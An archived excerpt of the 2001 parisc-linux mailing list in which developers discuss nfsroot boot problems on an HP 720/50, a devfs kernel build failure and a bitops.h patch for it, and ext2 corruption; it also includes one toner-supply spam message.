	Sun, 23 Sep 2001 13:55:50 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010923160005.A30607@dogbert.localdomain>; from fullung@ilink.nis.za on Sun, Sep 23, 2001 at 04:00:05PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (0% Sync Ratio [..........])
Xref: news.gmane.org gmane.linux.ports.parisc:12260

> 
> What if it is a rw,no_root_squash export? Or does the Debian initscript
> not support remounting the nfsroot rw? Or is it a limitation of the
> Linux kernel?
>  

Think about it ... rw nfsroot... multiple machines booting from that nfsroot.
Guess what happens?

Normally, when setting up a diskless system, each node will have their
own special area to write logs and setup temporary files.

> rcS(13): unaligned access to 0x0007dca3 at ip=0x0005d807
> Unaligned handler failed, ret = -1 INIT: Entering runlevel: 2
> <4>rc(16): unaligned access to 0x0007dca3 at ip=0x0005d807
> Not-handled unaligned insn 0x0cd31200
> Unaligned handler failed, ret = -1 <4>rc(17): unaligned access to
> 0x0007dca9 at 
> ip=0x0005db23
> Not-handled unaligned insn 0x0f131200
> Unaligned handler failed, ret = -1

I'm not sure how you are going to go about updating that root tarball.
(Rebuild it by hand?)

Though, the unaligned problems seem to be a big cause of your problems.
The 712's and 715's don't spew unaligned errors. I'm not sure what
processor the 720 has, and what might be the special cases.

Someone else on the list might better answer this.
Actually... the website has an HCL.

"Currently, most of the unlettered 700-series workstations (eg 712/715/735)"

Doesn't list the 720. Wonder why?

c. 




From - Thu Nov 08 21:19:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nfsroot login problems on 720/50
Date: Sun, 23 Sep 2001 23:15:36 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <20010923231535.A5896@dogbert.localdomain>
References: <20010921193553.A11874@dogbert.localdomain> <20010921180529.C32145@megatonmonkey.net> <20010922015609.A14166@dogbert.localdomain> <20010922125826.C6488@megatonmonkey.net> <20010923160005.A30607@dogbert.localdomain> <20010923135550.B1512@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Nq2Wo0NMKNjxTN9z"
X-Trace: ger.gmane.org 1416620505 25952 80.91.229.3 (22 Nov 2014 01:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 23 15:23:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 072D9485D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Sep 2001 15:22:59 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lGiE-0007QX-00
	for parisc-linux@lists.parisc-linux.org; Sun, 23 Sep 2001 23:22:54 +0200
Original-Received: (qmail 6083 invoked from network); 23 Sep 2001 21:16:13 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 23 Sep 2001 21:16:13 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lGbA-0001Xb-00; Sun, 23 Sep 2001 23:15:36 +0200
Content-Disposition: inline
In-Reply-To: <20010923135550.B1512@megatonmonkey.net>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lGiE-0007QX-00*3VIE817.1SY* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12261

--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

I've tried compiling a kernel with devfs, but I'm not having any luck.
I'm using xc-latest from about a week ago, and make palo dies with the
following message:

fs/fs.o: In function `devfs_alloc_major':
fs/fs.o(.text.devfs_alloc_major+0x5c): undefined reference to `__set_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_major+0x5c): cannot find stub entry 00000571___set_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_major+0x5c): cannot handle R_PARISC_PCREL17F for __set_bit
fs/fs.o: In function `devfs_dealloc_major':
fs/fs.o(.text.devfs_dealloc_major+0x20): undefined reference to `__test_and_clear_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_dealloc_major+0x20): cannot find stub entry 00000571___test_and_clear_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_dealloc_major+0x20): cannot handle R_PARISC_PCREL17F for __test_and_clear_bit
fs/fs.o: In function `L854':
fs/fs.o(.text.devfs_alloc_devnum+0x114): undefined reference to `__set_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_devnum+0x114): cannot find stub entry 00000571___set_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_devnum+0x114): cannot handle R_PARISC_PCREL17F for __set_bit
fs/fs.o: In function `L913':
fs/fs.o(.text.devfs_alloc_devnum+0x1d8): undefined reference to `__set_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_devnum+0x1d8): cannot find stub entry 00000571___set_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_devnum+0x1d8): cannot handle R_PARISC_PCREL17F for __set_bit
fs/fs.o: In function `L941':
fs/fs.o(.text.devfs_dealloc_devnum+0xdc): undefined reference to `__test_and_clear_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_dealloc_devnum+0xdc): cannot find stub entry 00000571___test_and_clear_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_dealloc_devnum+0xdc): cannot handle R_PARISC_PCREL17F for __test_and_clear_bit
fs/fs.o: In function `L948':
fs/fs.o(.text.devfs_alloc_unique_number+0xa8): undefined reference to `__set_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_unique_number+0xa8): cannot find stub entry 00000571___set_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_alloc_unique_number+0xa8): cannot handle R_PARISC_PCREL17F for __set_bit
fs/fs.o: In function `L990':
fs/fs.o(.text.devfs_dealloc_unique_number+0x48): undefined reference to `__test_and_clear_bit'
hppa-linux-ld: fs/fs.o(.text.devfs_dealloc_unique_number+0x48): cannot find stub entry 00000571___test_and_clear_bit+0
hppa-linux-ld: fs/fs.o(.text.devfs_dealloc_unique_number+0x48): cannot handle R_PARISC_PCREL17F for __test_and_clear_bit
make: *** [vmlinux] Error 1

I'm using debootstrap on my i386 system to build a new root tarball.
Naturally the post-install scripts and such inside the chroot aren't
going to run, but I hope to get it along far enough to boot.

Regards,

Albert

--Nq2Wo0NMKNjxTN9z
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7rlD3Dg+hOeRZtkMRAg3SAJ9laC3pFriXvtEuo7UeK1DLJJW88QCfXrQ+
oxhzOYhHyGSqcWJdWdC3oHw=
=tnr0
-----END PGP SIGNATURE-----

--Nq2Wo0NMKNjxTN9z--




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 720/50 - Out of options
Date: Sun, 23 Sep 2001 18:33:57 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20010923183357.F3025@megatonmonkey.net>
References: <20010921193553.A11874@dogbert.localdomain> <20010921180529.C32145@megatonmonkey.net> <20010922015609.A14166@dogbert.localdomain> <20010922125826.C6488@megatonmonkey.net> <20010923160005.A30607@dogbert.localdomain> <20010923135550.B1512@megatonmonkey.net> <20010923231535.A5896@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620505 25955 80.91.229.3 (22 Nov 2014 01:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:45 +0000 (UTC)
To: Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 23 16:32:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B01C4878
	for <parisc-linux@lists.parisc-linux.org>; Sun, 23 Sep 2001 16:32:49 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8NMu0G21129;
	Sun, 23 Sep 2001 18:56:01 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8NMXvt05275;
	Sun, 23 Sep 2001 18:33:57 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	Albert Strasheim <fullung@ilink.nis.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010923231535.A5896@dogbert.localdomain>; from fullung@ilink.nis.za on Sun, Sep 23, 2001 at 11:15:36PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (97% Sync Ratio [==========])
Xref: news.gmane.org gmane.linux.ports.parisc:12262

> Hello,
> 
> I've tried compiling a kernel with devfs, but I'm not having any luck.
> I'm using xc-latest from about a week ago, and make palo dies with the
> following message:
>

True. I just tried it on my xcompile box, and I get the same thing :)

Seems to be an issue with __set_bit and __test_and_clear_bit,
maybe I'll look into that tonight.

I used to be able to compile with devfs, guess it needs some work
to get up to speed with the recent changes.

I'm out of simple suggestions for you 720/50 :)

I'll see where those unaligned errors come from ...

c. 




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Non-atomic __set_bit
Date: Mon, 24 Sep 2001 02:10:54 -0400
Lines: 87
Approved: news@gmane.org
Message-ID: <20010924021054.I3025@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Bn2rw/3z4jIqBvZU"
X-Trace: ger.gmane.org 1416620506 25963 80.91.229.3 (22 Nov 2014 01:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:46 +0000 (UTC)
Cc: Albert Strasheim <fullung@ilink.nis.za>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 00:09:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id E48C5485D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 00:09:42 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f8O6XFG23575;
	Mon, 24 Sep 2001 02:33:15 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f8O6AsQ08165;
	Mon, 24 Sep 2001 02:10:54 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org,
	Albert Strasheim <fullung@ilink.nis.za>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12263

--Bn2rw/3z4jIqBvZU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

parisc,

Walking the source for devfs and thinking about Alberts problem.

Would the non-working devfs be fixed by adding:

Non-atomic versions of set_bit e.g. __set_bit 
and test_and_set_bit e.g. __test_and_set_bit
to linux/include/asm-parisc/bitops.h?

I have the latest CVS linux module.
I've patched against that. It compiles now ;)
(god bless make -j8)

I'm currently sleepy, but I'll post the patch, and test
it tommorow on a 712/60 and 715/50.

c.

--Bn2rw/3z4jIqBvZU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="bitops-devfs.diff"

--- ./linux/include/asm-parisc/bitops.h.orig	Mon Sep 24 01:27:31 2001
+++ ./linux/include/asm-parisc/bitops.h.mod	Mon Sep 24 01:41:38 2001
@@ -50,6 +50,26 @@
 	SPIN_UNLOCK_IRQRESTORE(ATOMIC_HASH(addr), flags);
 }
 
+/*
+ * Non-Atomic __set_bit
+ *
+ * If called by multiple processes, only one will succeed.
+ * The others would have been reordered before the succeeding
+ * call.
+ *
+ */
+
+static __inline__ void __set_bit(int nr, void * address)
+{
+        unsigned long mask;
+        unsigned long *addr = (unsigned long *) address;
+
+        addr += (nr >> SHIFT_PER_LONG);
+        mask = 1L << CHOP_SHIFTCOUNT(nr);
+        *addr |= mask;
+}
+
+
 static __inline__ int test_and_clear_bit(int nr, void * address)
 {
 	unsigned long mask;
@@ -66,6 +86,25 @@
 
 	return oldbit;
 }
+
+/*
+ * Non-Atomic __test_and_clear_bit
+ *
+ */
+
+static __inline__ int __test_and_clear_bit(int nr, void * address)
+{
+        unsigned long mask;
+        unsigned long *addr = (unsigned long *) address;
+        int oldbit;
+        addr += (nr >> SHIFT_PER_LONG);
+        mask = 1L << CHOP_SHIFTCOUNT(nr);
+        oldbit = (*addr & mask) ? 1 : 0;
+        *addr &= ~mask;
+											            return oldbit;
+}
+
+
 
 static __inline__ void clear_bit(int nr, void * address)
 {

--Bn2rw/3z4jIqBvZU--




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <art1@alloymail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] toner supplies
Date: Sun, 23 Sep 2001 15:22:00
Lines: 120
Approved: news@gmane.org
Message-ID: <198.382852.141690@alloymail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620506 25972 80.91.229.3 (22 Nov 2014 01:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 01:17:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oppl.org (unknown [64.254.217.178])
	by dsl2.external.hp.com (Postfix) with SMTP id D45BD485D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 01:17:32 -0600 (MDT)
Original-Received: from alloymail.com by oppl.org (SMI-8.6/SMI-SVR4)
	id BAA27883; Mon, 24 Sep 2001 01:56:51 -0500
Xref: news.gmane.org gmane.linux.ports.parisc:12264



**** VORTEX SUPPLIES ****

YOUR LASER PRINTER TONER CARTRIDGE,
COPIER AND FAX CARTRIDGE CONNECTION

SAVE UP TO 30% FROM RETAIL

ORDER BY PHONE:1-888-288-9043
ORDER BY FAX: 1-888-977-1577
E-MAIL REMOVAL LINE: 1-888-494-8597


UNIVERSITY AND/OR SCHOOL PURCHASE ORDERS WELCOME. (NO CREDIT APPROVAL REQUIRED)
ALL OTHER PURCHASE ORDER REQUESTS REQUIRE CREDIT APPROVAL.
PAY BY CHECK (C.O.D), CREDIT CARD OR PURCHASE ORDER (NET 30 DAYS).

IF YOUR ORDER IS BY CREDIT CARD PLEASE LEAVE YOUR CREDIT CARD # PLUS EXPIRATION DATE. 
IF YOUR ORDER IS BY PURCHASE ORDER LEAVE YOUR SHIPPING/BILLING ADDRESSES AND YOUR P.O. NUMBER


NOTE: WE DO NOT CARRY 

1) XEROX, BROTHER, PANASONIC, FUJITSU PRODUCTS
2) HP DESKJETJET/INK JET OR BUBBLE JET CARTRIDGES 
3) CANON BUBBLE JET CARTRIDGES 
4) ANY OFFBRANDS BESIDES THE ONES LISTED BELOW.    

OUR NEW , LASER PRINTER TONER CARTRIDGE, PRICES ARE  AS FOLLOWS: 
(PLEASE ORDER BY PAGE NUMBER AND/OR ITEM NUMBER)

HEWLETT PACKARD: (ON PAGE 2)

ITEM #1  LASERJET SERIES  4L,4P (74A)------------------------$44
ITEM #2  LASERJET SERIES  1100 (92A)-------------------------$44
ITEM #3  LASERJET SERIES  2 (95A)----------------------------$39
ITEM #4  LASERJET SERIES  2P (75A)---------------------------$54 
ITEM #5  LASERJET SERIES  5P,6P,5MP, 6MP (3903A)----------  -$44
ITEM #6  LASERJET SERIES  5SI, 8000 (09A)--------------------$95
ITEM #7  LASERJET SERIES  2100, 2200 (96A)-------------------$74
ITEM #8  LASERJET SERIES  8100 (82X)-------------------------$115
ITEM #9  LASERJET SERIES  5L/6L (3906A)----------------------$39
ITEM #10 LASERJET SERIES  4V---------------------------------$95
ITEM #11 LASERJET SERIES 4000 (27X)--------------------------$79
ITEM #12 LASERJET SERIES 3SI/4SI (91A)-----------------------$54
ITEM #13 LASERJET SERIES 4, 4M, 5,5M-------------------------$49
ITEM #13A LASERJET SERIES 5000 (29X)-------------------------$125
ITEM #13B LASERJET SERIES 1200-------------------------------$59

HEWLETT PACKARD FAX (ON PAGE 2)

ITEM #14 LASERFAX 500, 700 (FX1)----------$49
ITEM #15  LASERFAX 5000,7000 (FX2)--------$64
ITEM #16  LASERFAX (FX3)------------------$59
ITEM #17  LASERFAX (FX4)------------------$54


LEXMARK/IBM (ON PAGE 3)

OPTRA 4019, 4029 HIGH YIELD---------------$89
OPTRA R, 4039, 4049 HIGH YIELD-----------$105
OPTRA E310.312 HIGH YIELD----------------$79

OPTRA E-----------------------------------$59
OPTRA N----------------------------------$115
OPTRA S----------------------------------$165
OPTRA T----------------------------------$195


EPSON (ON PAGE 4)

ACTION LASER 7000,7500,8000,9000----------$105
ACTION LASER 1000,1500--------------------$105


CANON PRINTERS (ON PAGE 5)

PLEASE CALL FOR MODELS AND UPDATED PRICES
FOR CANON PRINTER CARTRIDGES

PANASONIC (0N PAGE 7)

NEC SERIES 2 MODELS 90 AND 95----------$105

APPLE (0N PAGE 8)

LASER WRITER PRO 600 or 16/600------------------$49 
LASER WRITER SELECT 300,320,360-----------------$74
LASER WRITER 300 AND 320------------------------$54
LASER WRITER NT, 2NT----------------------------$54
LASER WRITER 12/640-----------------------------$79

CANON FAX (ON PAGE 9)

LASERCLASS 4000 (FX3)---------------------------$59
LASERCLASS 5000,6000,7000 (FX2)-----------------$54
LASERFAX 5000,7000 (FX2)------------------------$54
LASERFAX 8500,9000 (FX4)------------------------$54

CANON COPIERS (PAGE 10)

PC 3, 6RE, 7 AND 11 (A30)---------------------$69
PC 300,320,700,720,760,900,910,920(E-40)------$89


90 DAY UNLIMITED WARRANTY INCLUDED ON ALL PRODUCTS.

ALL TRADEMARKS AND BRAND NAMES LISTED ABOVE ARE PROPERTY OF THE 
RESPECTIVE HOLDERS AND USED FOR DESCRIPTIVE PURPOSES ONLY.











From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hp715-50 scorpio - this is the real emailaddress
Date: Mon, 24 Sep 2001 09:04:46 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010924090446.D5051@linuxcare.com>
References: <01092222265101.03631@tilli>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620506 25973 80.91.229.3 (22 Nov 2014 01:41:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tilman Baumann <Simsalabimson@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 02:06:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 520D3485D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 02:06:05 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 061B1B00C; Mon, 24 Sep 2001 09:04:46 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01092222265101.03631@tilli>; from Simsalabimson@web.de on Sat, Sep 22, 2001 at 10:26:51PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:12265

On Sat, Sep 22, 2001 at 10:26:51PM +0200, Tilman Baumann wrote:
> hi, can anyone of you tell me, if it makes sense to install parisc-linux on 
> my machine?
> I have a hp715-50 scorpio.

Linux will work quite well on that machine, but you may have to run
with a serial console, as Linux doesn't support graphics on all
hardware yet.  Also, Linux doesn't support EISA cards on any parisc
boxes yet, so it you have any of those they wont work.

Richard




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Filesystem corruption
Date: Mon, 24 Sep 2001 10:02:51 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20010924100251.B13826@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620507 25978 80.91.229.3 (22 Nov 2014 01:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 04:02:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CA33485C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 04:02:53 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8OA2q429080
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Sep 2001 10:02:52 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12266

I installed the 0.92 system, upgraded everything with apt-get upgrade
and then compiled the kernel (last fridays snapshot).

The system in question is a C360, 512K Ram and a 9 Gig HD.

bofh:~# uname -a
Linux bofh 2.4.9-pa24 #2 Fri Sep 21 20:40:31 UTC 2001 parisc unknown

I then patted myself of the back and went home and had myself a good weekend.

When I returned to work this monday morning I noticed the following in
my minicom (C360 Console) window:

bofh login: EXT2-fs error (device sd(8,4)): ext2_check_page: bad entry in directory #870061: directory entry across blocks - offset=0, inode=1701273973, rec_len=24864, name_len=115
Remounting filesystem read-only
EXT2-fs error (device sd(8,4)): ext2_check_page: bad entry in directory #837235: unaligned directory entry - offset=0, inode=1684107116, rec_len=28265, name_len=103
Remounting filesystem read-only

After that all kinds of warnings and errors regarding a read only root.
I opted for a reboot and I had to run fsck manually and there where lots
of things fsck wanted me to say "Y" to.

bofh:/# du -s lost+found/
1796    lost+found
bofh:/# ls -l lost+found | grep -c ^-
50
bofh:/# ls -l lost+found | grep -c ^d
20

I would understand that "sh**" can happen when it crashes or something like
that, but nothing happened during the weekend.

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 12:05:01 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20010924120501.A8276@dogbert.localdomain>
References: <20010922090549.A17199@dogbert.localdomain> <Pine.LNX.4.21.0109241132170.9567-100000@uranus.theophys.kth.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WIyZ46R2i8wDzkSu"
X-Trace: ger.gmane.org 1416620507 25986 80.91.229.3 (22 Nov 2014 01:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jurij Smakov <jurijus@theophys.kth.se>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 24 04:13:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id A282A485C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 24 Sep 2001 04:13:26 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15lSjn-0004k9-00
	for parisc-linux@lists.parisc-linux.org; Mon, 24 Sep 2001 12:13:19 +0200
Original-Received: (qmail 6888 invoked from network); 24 Sep 2001 10:06:38 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 24 Sep 2001 10:06:38 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15lSbl-00029Y-00; Mon, 24 Sep 2001 12:05:01 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0109241132170.9567-100000@uranus.theophys.kth.se>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15lSjn-0004k9-00*JK1mma1Rq0k* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12267

--WIyZ46R2i8wDzkSu
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

Thanks for the reply. I was considering exactly this course of action.
Hopefully I can spot something then. I'll post my findings here. :-)

I was also thinking of adding some debug output to init itself.
Seemingly it gets run, and during that process the kernel loses it...?

Regards,

Albert

--WIyZ46R2i8wDzkSu
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7rwVMDg+hOeRZtkMRAisFAJ9ZTLJjUN5sTZLUf6dUgZi8eaCeEQCbBoTc
AjG4DfuUGxePxlwAlO83VZo=
=r5eu
-----END PGP SIGNATURE-----

--WIyZ46R2i8wDzkSu--




From - Thu Nov 08 21:19:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian bootfloppies with -pa22 fails on 720/50
Date: Mon, 24 Sep 2001 12:23:28 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20010924122328.B8276@dogbert.localdomain>
References: <20010922090549.A17199@dogbert.localdomain> <Pine.LNX.4.21.0109241132170.9567-100000@uranus.theophys.kth.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="rJwd6BRFiFCcLxzm"
